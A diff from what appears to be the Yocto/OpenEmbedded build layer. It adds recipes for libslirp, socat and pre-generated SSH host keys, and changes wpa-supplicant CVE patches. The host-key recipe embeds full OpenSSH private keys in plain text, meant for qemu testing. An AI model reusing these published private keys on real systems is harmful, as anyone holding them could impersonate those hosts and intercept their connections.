+
+pkg_postinst:${PN} () {
+ if [ -z "$D" ]; then
+ if command -v systemd-tmpfiles >/dev/null; then
+ systemd-tmpfiles --create ${sysconfdir}/tmpfiles.d/resolvconf.conf
+ elif [ -e ${sysconfdir}/init.d/populate-volatile.sh ]; then
+ ${sysconfdir}/init.d/populate-volatile.sh update
+ fi
+ fi
+}
+
+FILES:${PN} += "${base_libdir}/${BPN} ${nonarch_base_libdir}/${BPN}"
diff --git a/meta/recipes-connectivity/slirp/libslirp_git.bb b/meta/recipes-connectivity/slirp/libslirp_git.bb
new file mode 100644
index 0000000000..334b786b9b
--- /dev/null
+++ b/meta/recipes-connectivity/slirp/libslirp_git.bb
@@ -0,0 +1,18 @@
+SUMMARY = "A general purpose TCP-IP emulator"
+DESCRIPTION = "A general purpose TCP-IP emulator used by virtual machine hypervisors to provide virtual networking services."
+HOMEPAGE = "https://gitlab.freedesktop.org/slirp/libslirp"
+LICENSE = "BSD-3-Clause & MIT"
+LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=bca0186b14e6b05e338e729f106db727"
+
+SRC_URI = "git://gitlab.freedesktop.org/slirp/libslirp.git;protocol=https;branch=master"
+SRCREV = "3ad1710a96678fe79066b1469cead4058713a1d9"
+PV = "4.7.0"
+S = "${WORKDIR}/git"
+
+DEPENDS = " \
+ glib-2.0 \
+"
+
+inherit meson pkgconfig
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/socat/files/0001-fix-compile-procan.c-failed.patch b/meta/recipes-connectivity/socat/files/0001-fix-compile-procan.c-failed.patch
new file mode 100644
index 0000000000..9051ae1abe
--- /dev/null
+++ b/meta/recipes-connectivity/socat/files/0001-fix-compile-procan.c-failed.patch
@@ -0,0 +1,62 @@
+From 4f887cc665c9a48b83e20ef4abe57afa7e365e0e Mon Sep 17 00:00:00 2001
+From: Hongxu Jia <hongxu.jia@eng.windriver.com>
+Date: Tue, 5 Dec 2023 23:02:22 -0800
+Subject: [PATCH v2] fix compile procan.c failed
+
+1. Compile socat failed if out of tree build (build dir != source dir)
+...
+gcc -c -D CC="gcc" -o procan.o procan.c
+cc1: fatal error: procan.c: No such file or directory
+...
+Explicitly add $srcdir to makefile rule
+
+2. Compile socat failed if multiple words in $(CC), such as CC="gcc -m64"
+...
+from ../socat-1.8.0.0/procan.c:10:
+../socat-1.8.0.0/sysincludes.h:18:10: fatal error: inttypes.h: No such file or directory
+ 18 | #include <inttypes.h> /* uint16_t */
+...
+
+In commit [Procan: print umask, CC, and couple more new infos][1],
+it defeines marcro CC in C source, the space in CC will break
+C source compile. Use first word of $(CC) to defeine marco CC
+
+[1] https://repo.or.cz/socat.git/commit/cd5673dbd0786c94e0b3ace7e35fab14c01e3185
+
+Upstream-Status: Submitted [socat@dest-unreach.org]
+Signed-off-by: Hongxu Jia <hongxu.jia@eng.windriver.com>
+---
+ Makefile.in | 10 +++++-----
+ 1 file changed, 5 insertions(+), 5 deletions(-)
+
+diff --git a/Makefile.in b/Makefile.in
+index c01b1a4..48dad69 100644
+--- a/Makefile.in
++++ b/Makefile.in
+@@ -109,8 +109,8 @@ depend: $(CFILES) $(HFILES)
+ socat: socat.o libxio.a
+ $(CC) $(CFLAGS) $(LDFLAGS) -o $@ socat.o libxio.a $(CLIBS)
+
+-procan.o: procan.c
+- $(CC) $(CFLAGS) -c -D CC=\"$(CC)\" -o $@ procan.c
++procan.o: $(srcdir)/procan.c
++ $(CC) $(CFLAGS) -c -D CC=\"$(firstword $(CC))\" -o $@ $(srcdir)/procan.c
+
+ PROCAN_OBJS=procan_main.o procan.o procan-cdefs.o hostan.o error.o sycls.o sysutils.o utils.o vsnprintf_r.o snprinterr.o
+ procan: $(PROCAN_OBJS)
+@@ -132,9 +132,9 @@ install: progs $(srcdir)/doc/socat.1
+ mkdir -p $(DESTDIR)$(BINDEST)
+ $(INSTALL) -m 755 socat $(DESTDIR)$(BINDEST)/socat1
+ ln -sf socat1 $(DESTDIR)$(BINDEST)/socat
+- $(INSTALL) -m 755 socat-chain.sh $(DESTDIR)$(BINDEST)
+- $(INSTALL) -m 755 socat-mux.sh $(DESTDIR)$(BINDEST)
+- $(INSTALL) -m 755 socat-broker.sh $(DESTDIR)$(BINDEST)
++ $(INSTALL) -m 755 $(srcdir)/socat-chain.sh $(DESTDIR)$(BINDEST)
++ $(INSTALL) -m 755 $(srcdir)/socat-mux.sh $(DESTDIR)$(BINDEST)
++ $(INSTALL) -m 755 $(srcdir)/socat-broker.sh $(DESTDIR)$(BINDEST)
+ $(INSTALL) -m 755 procan $(DESTDIR)$(BINDEST)
+ $(INSTALL) -m 755 filan $(DESTDIR)$(BINDEST)
+ mkdir -p $(DESTDIR)$(MANDEST)/man1
+--
+2.42.0
+
diff --git a/meta/recipes-connectivity/socat/socat_1.7.3.4.bb b/meta/recipes-connectivity/socat/socat_1.7.3.4.bb
deleted file mode 100644
index 9b0d4071ac..0000000000
--- a/meta/recipes-connectivity/socat/socat_1.7.3.4.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "Multipurpose relay for bidirectional data transfer"
-DESCRIPTION = "Socat is a relay for bidirectional data \
-transfer between two independent data channels."
-HOMEPAGE = "http://www.dest-unreach.org/socat/"
-
-SECTION = "console/network"
-
-DEPENDS = "openssl"
-
-LICENSE = "GPL-2.0-with-OpenSSL-exception"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://README;beginline=257;endline=287;md5=338c05eadd013872abb1d6e198e10a3f"
-
-SRC_URI = "http://www.dest-unreach.org/socat/download/socat-${PV}.tar.bz2 \
-"
-
-SRC_URI[md5sum] = "3cca4f8cd9d2d1caabd9cc099451bac9"
-SRC_URI[sha256sum] = "972374ca86f65498e23e3259c2ee1b8f9dbeb04d12c2a78c0c9b5d1cb97dfdfc"
-
-inherit autotools
-
-EXTRA_AUTORECONF += "--exclude=autoheader"
-
-EXTRA_OECONF += "ac_cv_have_z_modifier=yes \
- ac_cv_header_bsd_libutil_h=no \
- sc_cv_termios_ispeed=no \
- ${TERMBITS_SHIFTS} \
-"
-
-TERMBITS_SHIFTS ?= "sc_cv_sys_crdly_shift=9 \
- sc_cv_sys_tabdly_shift=11 \
- sc_cv_sys_csize_shift=4"
-
-TERMBITS_SHIFTS_powerpc = "sc_cv_sys_crdly_shift=12 \
- sc_cv_sys_tabdly_shift=10 \
- sc_cv_sys_csize_shift=8"
-
-TERMBITS_SHIFTS_powerpc64 = "sc_cv_sys_crdly_shift=12 \
- sc_cv_sys_tabdly_shift=10 \
- sc_cv_sys_csize_shift=8"
-
-PACKAGECONFIG_class-target ??= "tcp-wrappers readline"
-PACKAGECONFIG ??= "readline"
-PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
-PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline"
-
-CFLAGS += "-fcommon"
-
-do_install_prepend () {
- mkdir -p ${D}${bindir}
- install -d ${D}${bindir} ${D}${mandir}/man1
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/socat/socat_1.8.0.0.bb b/meta/recipes-connectivity/socat/socat_1.8.0.0.bb
new file mode 100644
index 0000000000..912605c95c
--- /dev/null
+++ b/meta/recipes-connectivity/socat/socat_1.8.0.0.bb
@@ -0,0 +1,53 @@
+SUMMARY = "Multipurpose relay for bidirectional data transfer"
+DESCRIPTION = "Socat is a relay for bidirectional data \
+transfer between two independent data channels."
+HOMEPAGE = "http://www.dest-unreach.org/socat/"
+
+SECTION = "console/network"
+
+LICENSE = "GPL-2.0-with-OpenSSL-exception"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://README;beginline=241;endline=271;md5=338c05eadd013872abb1d6e198e10a3f"
+
+SRC_URI = "http://www.dest-unreach.org/socat/download/socat-${PV}.tar.bz2 \
+ file://0001-fix-compile-procan.c-failed.patch \
+"
+
+SRC_URI[sha256sum] = "e1de683dd22ee0e3a6c6bbff269abe18ab0c9d7eb650204f125155b9005faca7"
+
+inherit autotools
+
+EXTRA_AUTORECONF += "--exclude=autoheader"
+
+EXTRA_OECONF += "ac_cv_have_z_modifier=yes \
+ ac_cv_header_bsd_libutil_h=no \
+ sc_cv_termios_ispeed=no \
+ ${TERMBITS_SHIFTS} \
+"
+
+TERMBITS_SHIFTS ?= "sc_cv_sys_crdly_shift=9 \
+ sc_cv_sys_tabdly_shift=11 \
+ sc_cv_sys_csize_shift=4"
+
+TERMBITS_SHIFTS:powerpc = "sc_cv_sys_crdly_shift=12 \
+ sc_cv_sys_tabdly_shift=10 \
+ sc_cv_sys_csize_shift=8"
+
+TERMBITS_SHIFTS:powerpc64 = "sc_cv_sys_crdly_shift=12 \
+ sc_cv_sys_tabdly_shift=10 \
+ sc_cv_sys_csize_shift=8"
+
+PACKAGECONFIG:class-target ??= "tcp-wrappers readline openssl"
+PACKAGECONFIG ??= "readline openssl"
+PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
+PACKAGECONFIG[readline] = "--enable-readline,--disable-readline,readline"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+
+CFLAGS += "-fcommon"
+
+do_install:prepend () {
+ mkdir -p ${D}${bindir}
+ install -d ${D}${bindir} ${D}${mandir}/man1
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_key
new file mode 100644
index 0000000000..30443c9438
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/dropbear_rsa_host_key
Binary files differ
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key
new file mode 100644
index 0000000000..86c2104ec8
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key
@@ -0,0 +1,9 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
+1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQRJR6iZxr/NTqQN9NOwV+WPtu42r2eF
+rJ0xsnlqw5bpmfz6aDR8RQvVHUZjRGQfR/RXPbQ5x+bjjdm176TuXNhHAAAAqAoE27MKBN
+uzAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBElHqJnGv81OpA30
+07BX5Y+27javZ4WsnTGyeWrDlumZ/PpoNHxFC9UdRmNEZB9H9Fc9tDnH5uON2bXvpO5c2E
+cAAAAgLiHv/IWhxwosz9BiNILOOPlXaueL5hVTBKUJkpOi48sAAAANcm9vdEBxZW11bWlw
+cwECAw==
+-----END OPENSSH PRIVATE KEY-----
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub
new file mode 100644
index 0000000000..a358aeb88a
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ecdsa_key.pub
@@ -0,0 +1 @@
+ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBElHqJnGv81OpA3007BX5Y+27javZ4WsnTGyeWrDlumZ/PpoNHxFC9UdRmNEZB9H9Fc9tDnH5uON2bXvpO5c2Ec= root@qemupregen
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key
new file mode 100644
index 0000000000..00ed9adae2
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key
@@ -0,0 +1,7 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
+QyNTUxOQAAACDHSFTAbJ3OTd1r1E8G5JleCmsJEpQHmdTGtMcYqwWbbwAAAJChFtV0oRbV
+dAAAAAtzc2gtZWQyNTUxOQAAACDHSFTAbJ3OTd1r1E8G5JleCmsJEpQHmdTGtMcYqwWbbw
+AAAEA8UiUsygsTbP0HkDi5leXpQaVXihDyCHeitkBCItJGhcdIVMBsnc5N3WvUTwbkmV4K
+awkSlAeZ1Ma0xxirBZtvAAAADXJvb3RAcWVtdW1pcHM=
+-----END OPENSSH PRIVATE KEY-----
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub
new file mode 100644
index 0000000000..cc0e2f43ed
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_ed25519_key.pub
@@ -0,0 +1 @@
+ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMdIVMBsnc5N3WvUTwbkmV4KawkSlAeZ1Ma0xxirBZtv root@qemupregen
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key
new file mode 100644
index 0000000000..a8e4406ba3
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key
@@ -0,0 +1,38 @@
+-----BEGIN OPENSSH PRIVATE KEY-----
+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
+-----END OPENSSH PRIVATE KEY-----
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub
new file mode 100644
index 0000000000..9eb8c3838f
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys/openssh/ssh_host_rsa_key.pub
@@ -0,0 +1 @@
+ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDZDp3MXXHOIJAIWr574W/rDTrTuA2XIqeSG6hGrwbv8cSpdTZ4S0KLcAxSsA/yTuz2Q/m8jkLJ9KAW4L0zENXZgvZuya9HEFIqCDops3GShNoUGrKoeim5ZBxrwpFqG/O3l2H1+yZ6pqYjCAxYpNLC0MdyxvK3zieY7ZnZms1ehuC54wiP4eIlWCZafzoVAUsSg40AD6pvhJyI+zG+ZOVpD8MwCHeWVWj8gwsP2jIDIAjaRsc2dm22Vi/lOZjsgJ3fIJbzM9evE1wQXdCzV3ryBUnEuMspOVgbMlbYn5HBj7UMlnTDiWjN5CJldNdW3NwkHS2bYNy9AzOSrIBGadxJTBw9sQKURbpjbFCct5IeN7HOUIKd2JRsFN4bmJGXg4voM3jSIj0vDZVE62PZjn2f08J9qhSzTx2yAkto2sNtEesJEtJ1kno5AWIL+cDH+3h7j7B1SA06ovImqiZ011otc+q3Ov2yytxjmPUOabAq3N9MjlUz0tFCj5EQiJQI1MU= root@qemupregen
diff --git a/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb
new file mode 100644
index 0000000000..ddd10e6eeb
--- /dev/null
+++ b/meta/recipes-connectivity/ssh-pregen-hostkeys/ssh-pregen-hostkeys_1.0.bb
@@ -0,0 +1,19 @@
+SUMMARY = "Pre generated host keys mainly for speeding up our qemu tests"
+
+SRC_URI = "file://dropbear_rsa_host_key \
+ file://openssh"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/MIT;md5=0835ade698e0bcf8506ecda2f7b4f302"
+
+INHIBIT_DEFAULT_DEPS = "1"
+
+do_install () {
+ install -d ${D}${sysconfdir}/dropbear
+ install ${WORKDIR}/dropbear_rsa_host_key -m 0600 ${D}${sysconfdir}/dropbear/
+
+ install -d ${D}${sysconfdir}/ssh
+ install ${WORKDIR}/openssh/* ${D}${sysconfdir}/ssh/
+ chmod 0600 ${D}${sysconfdir}/ssh/*
+ chmod 0644 ${D}${sysconfdir}/ssh/*.pub
+} \ No newline at end of file
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch
deleted file mode 100644
index 7b0713cf6d..0000000000
--- a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-AP-Silently-ignore-management-frame-from-unexpected-.patch
+++ /dev/null
@@ -1,82 +0,0 @@
-hostapd before 2.10 and wpa_supplicant before 2.10 allow an incorrect indication
-of disconnection in certain situations because source address validation is
-mishandled. This is a denial of service that should have been prevented by PMF
-(aka management frame protection). The attacker must send a crafted 802.11 frame
-from a location that is within the 802.11 communications range.
-
-CVE: CVE-2019-16275
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From 8c07fa9eda13e835f3f968b2e1c9a8be3a851ff9 Mon Sep 17 00:00:00 2001
-From: Jouni Malinen <j@w1.fi>
-Date: Thu, 29 Aug 2019 11:52:04 +0300
-Subject: [PATCH] AP: Silently ignore management frame from unexpected source
- address
-
-Do not process any received Management frames with unexpected/invalid SA
-so that we do not add any state for unexpected STA addresses or end up
-sending out frames to unexpected destination. This prevents unexpected
-sequences where an unprotected frame might end up causing the AP to send
-out a response to another device and that other device processing the
-unexpected response.
-
-In particular, this prevents some potential denial of service cases
-where the unexpected response frame from the AP might result in a
-connected station dropping its association.
-
-Signed-off-by: Jouni Malinen <j@w1.fi>
----
- src/ap/drv_callbacks.c | 13 +++++++++++++
- src/ap/ieee802_11.c | 12 ++++++++++++
- 2 files changed, 25 insertions(+)
-
-diff --git a/src/ap/drv_callbacks.c b/src/ap/drv_callbacks.c
-index 31587685fe3b..34ca379edc3d 100644
---- a/src/ap/drv_callbacks.c
-+++ b/src/ap/drv_callbacks.c
-@@ -131,6 +131,19 @@ int hostapd_notif_assoc(struct hostapd_data *hapd, const u8 *addr,
- "hostapd_notif_assoc: Skip event with no address");
- return -1;
- }
-+
-+ if (is_multicast_ether_addr(addr) ||
-+ is_zero_ether_addr(addr) ||
-+ os_memcmp(addr, hapd->own_addr, ETH_ALEN) == 0) {
-+ /* Do not process any frames with unexpected/invalid SA so that
-+ * we do not add any state for unexpected STA addresses or end
-+ * up sending out frames to unexpected destination. */
-+ wpa_printf(MSG_DEBUG, "%s: Invalid SA=" MACSTR
-+ " in received indication - ignore this indication silently",
-+ __func__, MAC2STR(addr));
-+ return 0;
-+ }
-+
- random_add_randomness(addr, ETH_ALEN);
-
- hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211,
-diff --git a/src/ap/ieee802_11.c b/src/ap/ieee802_11.c
-index c85a28db44b7..e7065372e158 100644
---- a/src/ap/ieee802_11.c
-+++ b/src/ap/ieee802_11.c
-@@ -4626,6 +4626,18 @@ int ieee802_11_mgmt(struct hostapd_data *hapd, const u8 *buf, size_t len,
- fc = le_to_host16(mgmt->frame_control);
- stype = WLAN_FC_GET_STYPE(fc);
-
-+ if (is_multicast_ether_addr(mgmt->sa) ||
-+ is_zero_ether_addr(mgmt->sa) ||
-+ os_memcmp(mgmt->sa, hapd->own_addr, ETH_ALEN) == 0) {
-+ /* Do not process any frames with unexpected/invalid SA so that
-+ * we do not add any state for unexpected STA addresses or end
-+ * up sending out frames to unexpected destination. */
-+ wpa_printf(MSG_DEBUG, "MGMT: Invalid SA=" MACSTR
-+ " in received frame - ignore this frame silently",
-+ MAC2STR(mgmt->sa));
-+ return 0;
-+ }
-+
- if (stype == WLAN_FC_STYPE_BEACON) {
- handle_beacon(hapd, mgmt, len, fi);
- return 1;
---
-2.20.1
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-Install-wpa_passphrase-when-not-disabled.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-Install-wpa_passphrase-when-not-disabled.patch
new file mode 100644
index 0000000000..c04c608bde
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-Install-wpa_passphrase-when-not-disabled.patch
@@ -0,0 +1,33 @@
+From 57b12a1e43605f71239a21488cb9b541f0751dda Mon Sep 17 00:00:00 2001
+From: Alex Kiernan <alexk@zuma.ai>
+Date: Thu, 21 Apr 2022 10:15:29 +0100
+Subject: [PATCH] Install wpa_passphrase when not disabled
+
+As part of fixing CONFIG_NO_WPA_PASSPHRASE, whilst wpa_passphrase gets
+built, its not installed during `make install`.
+
+Fixes: cb41c214b78d ("build: Re-enable options for libwpa_client.so and wpa_passphrase")
+Signed-off-by: Alex Kiernan <alexk@zuma.ai>
+Signed-off-by: Alex Kiernan <alex.kiernan@gmail.com>
+Upstream-Status: Submitted [http://lists.infradead.org/pipermail/hostap/2022-April/040448.html]
+---
+ wpa_supplicant/Makefile | 3 +++
+ 1 file changed, 3 insertions(+)
+
+diff --git a/wpa_supplicant/Makefile b/wpa_supplicant/Makefile
+index 0bab313f2355..12787c0c7d0f 100644
+--- a/wpa_supplicant/Makefile
++++ b/wpa_supplicant/Makefile
+@@ -73,6 +73,9 @@ $(DESTDIR)$(BINDIR)/%: %
+
+ install: $(addprefix $(DESTDIR)$(BINDIR)/,$(BINALL))
+ $(MAKE) -C ../src install
++ifndef CONFIG_NO_WPA_PASSPHRASE
++ install -D wpa_passphrase $(DESTDIR)/$(BINDIR)/wpa_passphrase
++endif
+ ifdef CONFIG_BUILD_WPA_CLIENT_SO
+ install -m 0644 -D libwpa_client.so $(DESTDIR)/$(LIBDIR)/libwpa_client.so
+ install -m 0644 -D ../src/common/wpa_ctrl.h $(DESTDIR)/$(INCDIR)/wpa_ctrl.h
+--
+2.35.1
+
diff --git a/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-PEAP-client-Update-Phase-2-authentication-requiremen.patch b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-PEAP-client-Update-Phase-2-authentication-requiremen.patch
new file mode 100644
index 0000000000..620560d3c7
--- /dev/null
+++ b/meta/recipes-connectivity/wpa-supplicant/wpa-supplicant/0001-PEAP-client-Update-Phase-2-authentication-requiremen.patch
@@ -0,0 +1,213 @@
+From f6f7cead3661ceeef54b21f7e799c0afc98537ec Mon Sep 17 00:00:00 2001
+From: Jouni Malinen <j@w1.fi>
+Date: Sat, 8 Jul 2023 19:55:32 +0300
+Subject: [PATCH] PEAP client: Update Phase 2 authentication requirements
+
+The previous PEAP client behavior allowed the server to skip Phase 2
+authentication with the expectation that the server was authenticated
+during Phase 1 through TLS server certificate validation. Various PEAP
+specifications are not exactly clear on what the behavior on this front
+is supposed to be and as such, this ended up being more flexible than
+the TTLS/FAST/TEAP cases. However, this is not really ideal when
+unfortunately common misconfiguration of PEAP is used in deployed
+devices where the server trust root (ca_cert) is not configured or the
+user has an easy option for allowing this validation step to be skipped.
+
+Change the default PEAP client behavior to be to require Phase 2
+authentication to be successfully completed for cases where TLS session
+resumption is not used and the client certificate has not been
+configured. Those two exceptions are the main cases where a deployed
+authentication server might skip Phase 2 and as such, where a more
+strict default behavior could result in undesired interoperability
+issues. Requiring Phase 2 authentication will end up disabling TLS
+session resumption automatically to avoid interoperability issues.
+
+Allow Phase 2 authentication behavior to be configured with a new phase1
+configuration parameter option:
+'phase2_auth' option can be used to control Phase 2 (i.e., within TLS
+tunnel) behavior for PEAP:
+ * 0 = do not require Phase 2 authentication
+ * 1 = require Phase 2 authentication when client certificate
+ (private_key/client_cert) is no used and TLS session resumption was
+ not used (default)
+ * 2 = require Phase 2 authentication in all cases
+
+Signed-off-by: Jouni Malinen <j@w1.fi>
+
+CVE: CVE-2023-52160
